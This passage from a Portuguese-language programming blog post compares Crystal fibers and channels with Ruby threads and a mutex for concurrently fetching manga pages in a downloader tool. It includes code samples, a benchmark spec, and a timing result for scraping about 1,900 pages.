<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E é assim que usamos no <code>workflow.cr</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="kp">private</span> <span class="k">def</span> <span class="nf">fetch_pages</span><span class="p">(</span><span class="n">chapters</span> <span class="p">:</span> <span class="nb">Array</span><span class="p">(</span><span class="nb">String</span><span class="p">)</span><span class="sc">?)</span>
</span></span><span class="line"><span class="cl">  <span class="nb">puts</span> <span class="s2">&#34;Fetching pages from all chapters ...&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="n">reactor</span> <span class="o">=</span> <span class="no">Concurrency</span><span class="p">(</span><span class="nb">String</span><span class="p">,</span> <span class="nb">String</span><span class="p">,</span> <span class="no">Pages</span><span class="p">)</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="vi">@config</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">reactor</span><span class="o">.</span><span class="n">fetch</span><span class="p">(</span><span class="n">chapters</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">link</span><span class="p">,</span> <span class="n">engine</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">    <span class="n">engine</span><span class="o">.</span><span class="n">try</span><span class="p">(</span> <span class="o">&amp;.</span><span class="n">fetch</span><span class="p">(</span><span class="n">link</span><span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Nesse exemplo, imagine <code>A</code> sendo substituído por <code>String</code>, <code>B</code> também sendo substituído por <code>String</code> e <code>C</code> sendo substituído por <code>Pages</code> na classe <code>Concurrency</code>.</p>
<p>Essa é a &ldquo;primeira-versão-que-funcionou&rdquo;, então provavelmente está pouco idiomática. Talvez dê para resolver com menos exercício de Generics ou, quem sabe, eu pudesse simplificar com o uso de Macros. Mas está funcionando bem assim.</p>
<p>A versão pura em Ruby acaba ficando assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Concurrency</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">engine_klass</span> <span class="o">=</span> <span class="kp">nil</span><span class="p">,</span> <span class="n">config</span> <span class="o">=</span> <span class="no">Config</span><span class="o">.</span><span class="n">new</span><span class="p">,</span> <span class="n">turn_on_engine</span> <span class="o">=</span> <span class="kp">true</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="o">...</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">fetch</span><span class="p">(</span><span class="n">collection</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">block</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">results</span> <span class="o">=</span> <span class="o">[]</span>
</span></span><span class="line"><span class="cl">    <span class="n">collection</span><span class="o">&amp;.</span><span class="n">each_slice</span><span class="p">(</span><span class="vi">@config</span><span class="o">.</span><span class="n">download_batch_size</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">batch</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="n">mutex</span>   <span class="o">=</span> <span class="no">Mutex</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl">      <span class="n">threads</span> <span class="o">=</span> <span class="n">batch</span><span class="o">.</span><span class="n">map</span> <span class="k">do</span> <span class="o">|</span><span class="n">item</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="o">...</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Essa versão é muito &ldquo;mais simples&rdquo; em termos de densidade de código fonte. Em compensação, teríamos que testar essa versão Ruby muito mais, porque ela tem várias permutações diferentes (a gente até injeta classes via <code>engine_klass</code>) e precisamos garantir que tudo responda corretamente. Na prática, deveríamos adicionar testes para todas as combinações dos argumentos do inicializador.</p>
<p>Na versão Crystal, como todos os tipos foram checados em tempo de compilação, foi mais exigente em termos de anotações; mas podemos ter bastante certeza de que se compilou, vai rodar como esperado.</p>
<blockquote>
  <p>Não estou dizendo que Crystal dispensa specs.</p>

</blockquote>
<p>Compiladores só vão até certo ponto. Mas até onde é &ldquo;certo ponto&rdquo;? Sempre que você é &ldquo;forçado&rdquo; a adicionar Type Annotations, eu afirmo que essas partes ou estão tentando ser espertas demais, ou são intrinsecamente complexas. Essas são as partes que exigiriam camadas extras de testes em Ruby e, se conseguirmos adicionar as anotações direito, podemos ter menos testes (não precisamos cobrir a maior parte das permutações) na versão Crystal (uma complexidade exponencial de permutações poderia cair para uma complexidade linear, eu acho).</p>
<h3>Uma palavra sobre Threads em Ruby<span class="hx:absolute hx:-mt-20" id="uma-palavra-sobre-threads-em-ruby"></span>
    <a href="#uma-palavra-sobre-threads-em-ruby" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Os principais conceitos que você precisa entender sobre concorrência em Ruby são esses:</p>
<ul>
<li>MRI Ruby tem um GIL, um Global Interpreter Lock, que proíbe código de rodar concorrentemente.</li>
<li>MRI Ruby tem acesso e expõe Threads nativas desde a versão 1.9. Mas mesmo se você disparar várias Threads, elas vão rodar sequencialmente, porque só uma thread pode segurar o Lock por vez.</li>
<li>Operações de I/O são a exceção: elas liberam o Lock para que outras threads rodem enquanto a operação está esperando completar. O SO sinaliza o programa via poll de nível de sistema.</li>
</ul>
<p>Isso significa que se sua aplicação é <strong>I/O intensiva</strong> (requisições HTTP, leituras ou escritas em arquivos, operações de socket etc), você terá <em>alguma</em> concorrência. Um servidor web, como Puma por exemplo, pode tirar algum proveito de Threads, porque uma boa parte das operações envolve receber requisições HTTP e mandar respostas HTTP pela rede, o que deixa o processo Ruby ocioso enquanto espera.</p>
<p>Se sua aplicação é CPU intensiva (algoritmos pesados, processamento de dados, coisas que realmente esquentam o CPU), aí Threads nativas não ajudam, só uma roda por vez. Se você tem múltiplos cores no seu CPU, pode dar Fork no seu processo para o número de cores disponíveis.</p>
<p>Dê uma olhada em <a href="https://github.com/grosser/parallel"target="_blank" rel="noopener">grosser/parallel</a> para facilitar.</p>
<p>É por isso que Puma também tem um modo &ldquo;worker&rdquo;. &ldquo;Worker&rdquo; é o nome que normalmente damos para processos filhos forkados.</p>
<p>No caso desse processo de download, ele vai fazer milhares de requisições HTTP para raspar os metadados necessários das páginas do MangaReader. Então é muito mais I/O intensivo do que CPU intensivo (as partes CPU intensivas são o parsing do HTML e, mais tarde, o redimensionamento das imagens e a compilação do PDF).</p>
<p>Uma versão sequencial do que precisa ser feito, em Ruby, fica assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fetch_sequential</span><span class="p">(</span><span class="n">collection</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">block</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">results</span> <span class="o">=</span> <span class="o">[]</span>
</span></span><span class="line"><span class="cl">  <span class="n">engine</span>  <span class="o">=</span> <span class="vi">@turn_on_engine</span> <span class="p">?</span> <span class="vi">@engine_klass</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="vi">@config</span><span class="o">.</span><span class="n">domain</span><span class="p">)</span> <span class="p">:</span> <span class="kp">nil</span>
</span></span><span class="line"><span class="cl">  <span class="n">collection</span><span class="o">&amp;.</span><span class="n">each_slice</span><span class="p">(</span><span class="vi">@config</span><span class="o">.</span><span class="n">download_batch_size</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">batch</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">    <span class="n">batch</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">item</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="n">batch_results</span> <span class="o">=</span> <span class="n">block</span><span class="o">.</span><span class="n">call</span><span class="p">(</span><span class="n">item</span><span class="p">,</span> <span class="n">engine</span><span class="p">)</span><span class="o">&amp;.</span><span class="n">flatten</span>
</span></span><span class="line"><span class="cl">      <span class="n">results</span> <span class="o">+=</span> <span class="p">(</span> <span class="n">batch_results</span> <span class="o">||</span> <span class="o">[]</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="n">results</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se temos 10.000 links na <code>collection</code>, primeiro fatiamos no tamanho que <code>@config.download_batch_size</code> define e iteramos sobre essas fatias menores, chamando algum bloco e acumulando os resultados. Esse é um algoritmo ingênuo, como você vai descobrir na próxima seção, mas vamos seguir.</p>
<p>Em Elixir você pode disparar micro-processos para fazer as requisições HTTP em paralelo. Em Crystal você pode disparar Fibers e esperar as requisições HTTP completarem e sinalizar os resultados via Channels.</p>
<p>Os dois são leves e você pode ter centenas ou até milhares rodando em paralelo. O Manga Reader provavelmente vai reclamar se você mandar tudo isso de uma vez, então o limite não está no código, e sim no serviço externo.</p>
<p>Para transformar a versão sequencial em uma concorrente, é isso que podemos fazer em Crystal:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fetch</span><span class="p">(</span><span class="n">collection</span> <span class="p">:</span> <span class="nb">Array</span><span class="p">(</span><span class="n">A</span><span class="p">)</span><span class="sc">?,</span> <span class="o">&amp;</span><span class="n">block</span> <span class="p">:</span> <span class="n">A</span><span class="p">,</span> <span class="n">C?</span> <span class="o">-&gt;</span> <span class="nb">Array</span><span class="p">(</span><span class="n">B</span><span class="p">)</span><span class="sc">?)</span> <span class="p">:</span> <span class="nb">Array</span><span class="p">(</span><span class="n">B</span><span class="p">)?</span>
</span></span><span class="line"><span class="cl">  <span class="n">results</span> <span class="o">=</span> <span class="o">[]</span> <span class="n">of</span> <span class="n">B</span>
</span></span><span class="line"><span class="cl">  <span class="n">collection</span><span class="o">.</span><span class="n">try</span> <span class="o">&amp;.</span><span class="n">each_slice</span><span class="p">(</span><span class="vi">@config</span><span class="o">.</span><span class="n">download_batch_size</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">batch</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">    <span class="n">channel</span> <span class="o">=</span> <span class="no">Channel</span><span class="p">(</span><span class="nb">Array</span><span class="p">(</span><span class="n">B</span><span class="p">)</span><span class="sc">?)</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl">    <span class="n">batch</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">item</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="n">spawn</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">engine</span>  <span class="o">=</span> <span class="k">if</span> <span class="vi">@turn_on_engine</span>
</span></span><span class="line"><span class="cl">                    <span class="n">C</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="vi">@config</span><span class="o">.</span><span class="n">domain</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                  <span class="k">end</span>
</span></span><span class="line"><span class="cl">        <span class="n">reply</span> <span class="o">=</span> <span class="n">block</span><span class="o">.</span><span class="n">call</span><span class="p">(</span><span class="n">item</span><span class="p">,</span> <span class="n">engine</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">channel</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">reply</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">engine</span><span class="o">.</span><span class="n">try</span> <span class="o">&amp;.</span><span class="n">close</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">    <span class="n">batch</span><span class="o">.</span><span class="n">size</span><span class="o">.</span><span class="n">times</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">      <span class="n">reply</span> <span class="o">=</span> <span class="n">channel</span><span class="o">.</span><span class="n">receive</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="n">reply</span>
</span></span><span class="line"><span class="cl">        <span class="n">results</span><span class="o">.</span><span class="n">concat</span><span class="p">(</span><span class="n">reply</span><span class="o">.</span><span class="n">flatten</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">end</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">    <span class="n">channel</span><span class="o">.</span><span class="n">close</span>
</span></span><span class="line"><span class="cl">    <span class="nb">puts</span> <span class="s2">&#34;Processed so far: </span><span class="si">#{</span><span class="n">results</span><span class="o">.</span><span class="n">try</span> <span class="o">&amp;.</span><span class="n">size</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="n">results</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pegar uma coleção enorme e fatiar em &lsquo;batches&rsquo; menores é fácil. Agora temos uma coleção <code>batch</code> menor. Para cada item (geralmente uma URI) damos <code>spawn</code> em uma Fiber e chamamos um bloco que vai requisitar e processar os resultados. Quando termina o processamento, envia os resultados por um <code>channel</code>.</p>
<p>Quando terminamos de iterar sobre o batch e disparar todas essas Fibers, podemos &ldquo;esperar&rdquo; por elas chamando <code>channel.receive</code>, que vai começar a receber os resultados conforme as Fibers vão terminando de requisitar/processar cada URI.</p>
<p>Acumulamos os resultados e seguimos para o próximo batch da coleção até terminar. A quantidade de concorrência é determinada pelo tamanho do batch (é parecido com <a href="http://www.akitaonrails.com/en/2015/11/19/ex-manga-downloadr-parte-2-poolboy-ao-resgate/"target="_blank" rel="noopener">o que fiz com &lsquo;poolboy&rsquo; em Elixir</a> onde iniciamos um número fixo de processos rodando em paralelo para evitar fazer um Denial of Service no Manga Reader).</p>
<p>A propósito, essa implementação em Crystal é parecida com o que você faria em Go usando Channels.</p>
<p>Na versão Ruby você pode disparar Threads nativas - que têm bastante overhead para spawnar! - e assumir que as requisições HTTP vão rodar quase todas em paralelo. Como é I/O intensivo, dá para ter todas em paralelo. Fica assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fetch</span><span class="p">(</span><span class="n">collection</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">block</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">results</span> <span class="o">=</span> <span class="o">[]</span>
</span></span><span class="line"><span class="cl">  <span class="n">collection</span><span class="o">&amp;.</span><span class="n">each_slice</span><span class="p">(</span><span class="vi">@config</span><span class="o">.</span><span class="n">download_batch_size</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">batch</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">    <span class="n">mutex</span>   <span class="o">=</span> <span class="no">Mutex</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl">    <span class="n">threads</span> <span class="o">=</span> <span class="n">batch</span><span class="o">.</span><span class="n">map</span> <span class="k">do</span> <span class="o">|</span><span class="n">item</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="no">Thread</span><span class="o">.</span><span class="n">new</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">engine</span>  <span class="o">=</span> <span class="vi">@turn_on_engine</span> <span class="p">?</span> <span class="vi">@engine_klass</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="vi">@config</span><span class="o">.</span><span class="n">domain</span><span class="p">)</span> <span class="p">:</span> <span class="kp">nil</span>
</span></span><span class="line"><span class="cl">        <span class="no">Thread</span><span class="o">.</span><span class="n">current</span><span class="o">[</span><span class="s2">&#34;results&#34;</span><span class="o">]</span> <span class="o">=</span> <span class="n">block</span><span class="o">.</span><span class="n">call</span><span class="p">(</span><span class="n">item</span><span class="p">,</span> <span class="n">engine</span><span class="p">)</span><span class="o">&amp;.</span><span class="n">flatten</span>
</span></span><span class="line"><span class="cl">        <span class="n">mutex</span><span class="o">.</span><span class="n">synchronize</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">          <span class="n">results</span> <span class="o">+=</span> <span class="p">(</span> <span class="no">Thread</span><span class="o">.</span><span class="n">current</span><span class="o">[</span><span class="s2">&#34;results&#34;</span><span class="o">]</span> <span class="o">||</span> <span class="o">[]</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">end</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">    <span class="n">threads</span><span class="o">.</span><span class="n">each</span><span class="p">(</span><span class="o">&amp;</span><span class="ss">:join</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">puts</span> <span class="s2">&#34;Processed so far: </span><span class="si">#{</span><span class="n">results</span><span class="o">&amp;.</span><span class="n">size</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="n">results</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>As Threads são todas inicializadas em estado &ldquo;pausado&rdquo;. Depois de instanciar todas essas Threads, podemos chamar <code>#join</code> em cada uma e esperar todas terminarem.</p>
<p>Quando cada Thread termina o mesmo processo de requisição/processamento de URI, os resultados precisam ser acumulados em um armazenamento global, nesse caso um simples array chamado <code>results</code>. Mas como existe a chance de duas ou mais threads tentarem atualizar o mesmo array, a gente sincroniza o acesso (não tenho certeza se o acesso a Array em Ruby já é sincronizado, mas acho que não). Para sincronizar o acesso usamos um Mutex, que é um lock fino, garantindo que só 1 thread possa modificar o array global por vez.</p>
<p>Para provar que Ruby suporta operações de I/O concorrentes, adicionei 2 métodos na classe <code>Concurrent</code>, o primeiro é só <code>#fetch</code> e é a implementação com Threads acima. O segundo se chama <code>#fetch_sequential</code> e é a versão sequencial mostrada no início dessa seção. E adicionei o seguinte spec:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">it</span> <span class="s2">&#34;should check that the fetch implementation runs in less time than the sequential version&#34;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">reactor</span> <span class="o">=</span> <span class="no">MangaDownloadr</span><span class="o">::</span><span class="no">Concurrency</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="no">MangaDownloadr</span><span class="o">::</span><span class="no">Pages</span><span class="p">,</span> <span class="n">config</span><span class="p">,</span> <span class="kp">true</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">collection</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;/onepunch-man/96&#34;</span><span class="o">]</span> <span class="o">*</span> <span class="mi">10</span>
</span></span><span class="line"><span class="cl">  <span class="no">WebMock</span><span class="o">.</span><span class="n">allow_net_connect!</span>
</span></span><span class="line"><span class="cl">  <span class="k">begin</span>
</span></span><span class="line"><span class="cl">    <span class="n">concurrent_measurement</span> <span class="o">=</span> <span class="no">Benchmark</span><span class="o">.</span><span class="n">measure</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">results</span> <span class="o">=</span> <span class="n">reactor</span><span class="o">.</span><span class="n">fetch</span><span class="p">(</span><span class="n">collection</span><span class="p">)</span> <span class="p">{</span> <span class="o">|</span><span class="n">link</span><span class="p">,</span> <span class="n">engine</span><span class="o">|</span> <span class="n">engine</span><span class="o">&amp;.</span><span class="n">fetch</span><span class="p">(</span><span class="n">link</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">sequential_measurement</span> <span class="o">=</span> <span class="no">Benchmark</span><span class="o">.</span><span class="n">measure</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">results</span> <span class="o">=</span> <span class="n">reactor</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="ss">:fetch_sequential</span><span class="p">,</span> <span class="n">collection</span><span class="p">)</span> <span class="p">{</span> <span class="o">|</span><span class="n">link</span><span class="p">,</span> <span class="n">engine</span><span class="o">|</span> <span class="n">engine</span><span class="o">&amp;.</span><span class="n">fetch</span><span class="p">(</span><span class="n">link</span><span class="p">)</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="sr">/\((.*?)\)$/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">concurrent_measurement</span><span class="o">.</span><span class="n">to_s</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">cm</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="sr">/\((.*?)\)/</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">sequential_measurement</span><span class="o">.</span><span class="n">to_s</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">sm</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># esperado que a versao concorrente seja proxima de 10 vezes mais rapida que a sequencial</span>
</span></span><span class="line"><span class="cl">        <span class="n">expect</span><span class="p">(</span><span class="n">sm</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">to_f</span><span class="p">)</span><span class="o">.</span><span class="n">to</span> <span class="n">be</span> <span class="o">&gt;</span> <span class="p">(</span> <span class="n">cm</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="n">to_f</span> <span class="o">*</span> <span class="mi">9</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">end</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">ensure</span>
</span></span><span class="line"><span class="cl">    <span class="no">WebMock</span><span class="o">.</span><span class="n">disable_net_connect!</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Como ele usa WebMock, eu primeiro desabilito durante esse spec. Crio uma coleção falsa de 10 links reais para o MangaReader. E aí faço benchmark da versão concorrente baseada em Threads e da versão sequencial pura. Como temos 10 links e são todos iguais, dá para assumir que a versão sequencial vai ser quase <strong>10 vezes mais lenta</strong> que a versão baseada em Threads. E é exatamente isso que esse spec compara e prova (o spec falha se a versão concorrente não for pelo menos 9x mais rápida).</p>
<p>Para comparar todas as versões dos Manga Downloadrs, deixei baixar e compilar uma coleção inteira de mangá, nesse caso &ldquo;One-Punch Man&rdquo;, que tem quase <strong>1.900 páginas/imagens</strong>. Estou medindo só os processos de fetching e scraping, pulando o download das imagens em si, redimensionamento e geração do PDF, porque eles tomam a maior parte do tempo e o redimensionamento e a parte do PDF são feitos pelo <code>mogrify</code> e <code>convert</code> do ImageMagick.</p>
<p>Esse é o tempo que essa nova versão Ruby leva para baixar e raspar quase 1.900 páginas (usando MRI Ruby 2.3.1):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>12,42s user 1,33s system 23% cpu 57,675 total</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
